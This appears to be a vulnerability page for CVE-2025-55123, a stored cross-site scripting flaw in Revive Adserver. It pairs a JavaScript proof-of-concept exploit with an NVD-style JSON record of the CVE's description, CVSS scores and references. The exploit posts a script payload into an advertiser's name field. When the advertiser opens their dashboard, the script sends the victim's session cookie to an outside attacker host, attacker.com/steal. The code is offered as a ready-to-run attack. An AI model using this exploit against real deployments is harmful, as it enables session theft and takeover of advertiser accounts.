CVE-2025-55123

// CVE-2025-55123 PoC - Revive Adserver XSS Injection // Author: Security Researcher // Target: Revive Adserver < 5.5.2, < 6.0.1 const axios = require('axios'); async function exploitCVE202555123(targetUrl, managerToken, advertiserId) { const xssPayload = '<script>document.location="https://attacker.com/steal?c=' + '"+encodeURIComponent(document.cookie)</script>'; // Login as manager account const loginUrl = `${targetUrl}/www/admin/login.php`; const session = axios.create({ baseURL: targetUrl }); // Send XSS payload to advertiser via message or ad campaign const injectionUrl = `${targetUrl}/www/admin/advertiser-edit.php`; try { // Inject XSS payload in advertiser name or campaign field const response = await session.post(injectionUrl, { clientid: advertiserId, clientname: xssPayload, submit: 'Save' }, { headers: { 'Cookie': `sessionid=${managerToken}`, 'Content-Type': 'application/x-www-form-urlencoded' } }); console.log('[+] XSS payload injected successfully'); console.log('[+] Payload will execute when advertiser views their dashboard'); return true; } catch (error) { console.error('[-] Exploitation failed:', error.message); return false; } } // Usage example // exploitCVE202555123('http://target-revive-adserver.com', 'manager_session_token', '12345');

{"cve": {"id": "CVE-2025-55123", "sourceIdentifier": "[email protected]", "published": "2025-11-20T20:16:23.547", "lastModified": "2025-12-05T20:17:35.480", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper neutralization of input in Revive Adserver 5.5.2 and 6.0.1 and earlier versions causes manager accounts to be able to craft XSS attacks to their own advertiser users."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:revive-adserver:revive_adserver:6.0.0:-:*:*:*:*:*:*", "matchCriteriaId": "9EF49CB0-886F-4AB3-8CBF-B7A8A7276DD9"}]}]}], "references": [{"url": "https://hackerone.com/reports/3404968", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://hackerone.com/reports/3404968", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}